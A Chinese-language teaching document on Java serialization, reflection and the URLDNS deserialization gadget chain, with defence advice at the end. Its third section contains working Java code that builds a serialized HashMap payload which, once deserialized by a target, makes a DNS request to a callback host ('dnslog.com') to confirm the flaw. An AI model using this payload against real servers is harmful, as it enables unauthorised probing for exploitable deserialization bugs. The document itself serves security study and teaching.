Java反序列化之反射&URLDNS链审计
字数 1703 2025-08-24 16:48:15
Java反序列化之反射&URLDNS链审计教学文档
一、Java序列化和反序列化基础
1. 基本概念
- 序列化:将Java对象转换为字节序列的过程
- 反序列化:把字节序列恢复为Java对象的过程
2. 主要用途
- 实现数据持久化,将对象永久保存到硬盘
- 实现远程通信,在网络上传送对象字节序列
- 应用场景:
- 将内存中的对象保存到文件或数据库
- 使用套接字在网络上传送对象
- 通过RMI传输对象
3. 常见协议
- XML & SOAP
- JSON
- Protobuf
4. 序列化实现
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
// 构造方法、toString等
}
5. 序列化与反序列化示例
序列化代码:
import java.io.*;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
serialize(person);
}
}
反序列化代码:
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
public static void main(String[] args) throws Exception {
Person person = (Person)unserialize("ser.bin");
}
}
6. 反序列化安全问题
- 服务端反序列化数据时,客户端传递类的readObject方法会自动执行
- 攻击形式:
- 入口类的readObject直接调用危险方法
- 入口类参数中包含可控类,该类有危险方法
- 入口类参数中包含可控类,该类又调用其他存在危险方法的类
- 构造函数/静态代码块等类加载时隐式执行
二、Java反射机制
1. 反射概念
- 在运行状态中,获取任意类的所有属性和方法
- 对于任意对象,都能调用它的任意方法
- 动态获取信息和调用对象方法的功能
2. 反射与正射对比
正射示例:
Student student = new Student();
student.doHomework("数学");
反射示例:
Class clazz = Class.forName("reflection.Student");
Method method = clazz.getMethod("doHomework", String.class);
Constructor constructor = clazz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "语文");
3. 反射的作用
- 修改已有对象的属性
- 动态生成对象
- 动态调用方法
- 操作内部类和私有方法
- 在反序列化漏洞中的作用:
- 定制需要的对象
- 通过invoke调用除同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
4. Class类的理解
- 每个类都有一个Class对象
- 编译新类时产生Class对象(保存在.class文件中)
5. 反射常用方法
获取Class类对象
- 通过实例化类获得:
Person person = new Person();
Class c = person.getClass();
- 通过Class.forName()获取:
Class c = Class.forName("reflection.person");
- 使用类的.class方法:
Class c = TestReflection.class;
实例化类对象
- 通过Class.newInstance():
Class p = Class.forName("Person");
Object p1 = p.newInstance();
- 通过Constructor.newInstance():
Constructor personconstructor = c.getConstructor(String.class, int.class);
Person p = (Person)personconstructor.newInstance("abc", 22);
获取类的属性
- 获取public属性:
Field f = c.getField("name");
- 获取任意属性:
Field f = c.getDeclaredField("name");
f.setAccessible(true); // 访问私有属性
f.set(p, 24); // 修改属性值
- 获取全部public属性:
Field[] f = c.getFields();
- 获取全部属性:
Field[] personfields = c.getDeclaredFields();
获取类的方法
- 获取public方法:
Method actionmethod = c.getMethod("action", String.class);
- 获取任意方法:
Method actionmethod = c.getDeclaredMethod("action", String.class);
actionmethod.setAccessible(true);
actionmethod.invoke(p, "asdfasdf");
- 获取全部public方法:
Method[] m = p.getMethods();
- 获取全部方法:
Method[] m = p.getDeclaredMethods();
三、URLDNS链审计
1. URLDNS链概述
- 用于检测服务器是否存在反序列化漏洞
- 利用方式类似于SSRF,通过发送DNS请求验证漏洞
- 利用URL类的序列化特性
2. 漏洞挖掘思路
- 发现URL类实现了Serializable接口
- 寻找常见函数(如hashCode)
- 跟踪调用链,发现URLStreamHandler.hashCode()中的DNS请求
3. 调用链分析
完整调用链:
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() -> DNS请求
4. 关键代码实现
序列化部分
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://dnslog.com");
// 使用反射修改hashCode值,避免序列化时触发DNS请求
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url, 1234);
hashmap.put(url, 1);
hashcodefield.set(url, -1); // 恢复为-1,确保反序列化时触发
serialize(hashmap);
}
}
反序列化部分
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
public static void main(String[] args) throws Exception {
unserialize("ser.bin"); // 触发DNS请求
}
}
5. 为什么选择HashMap作为入口类
- 实现了Serializable接口
- 参数类型广泛(键值对形式)
- 重写了readObject方法
- 在readObject中调用了常用的hash()函数
- 是JDK自带的类
6. 关键点说明
- hashCode控制:通过反射修改URL对象的hashCode值,避免序列化时触发DNS请求
- 恢复hashCode:序列化前将hashCode恢复为-1,确保反序列化时触发
- 调用链触发:反序列化时HashMap.readObject() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> DNS请求
四、总结
1. 反序列化漏洞利用条件
- 类要继承Serializable接口
- 入口类特征:
- 重写readObject能够进行命令执行
- 调用常见的函数如toString、equals等
- 参数的类型广泛
- JDK自带
- 调用链(相同名称,相同类型)
- 执行类(攻击类型)
2. 防御建议
- 对反序列化操作进行白名单控制
- 使用安全的序列化替代方案(如JSON)
- 更新JDK版本,修复已知漏洞
- 对反序列化数据进行严格校验
3. 学习要点
- 理解Java序列化和反序列化机制
- 掌握反射的基本原理和使用方法
- 理解反序列化漏洞的利用原理
- 能够分析调用链和构造利用链
- 掌握URLDNS链的构造和利用方式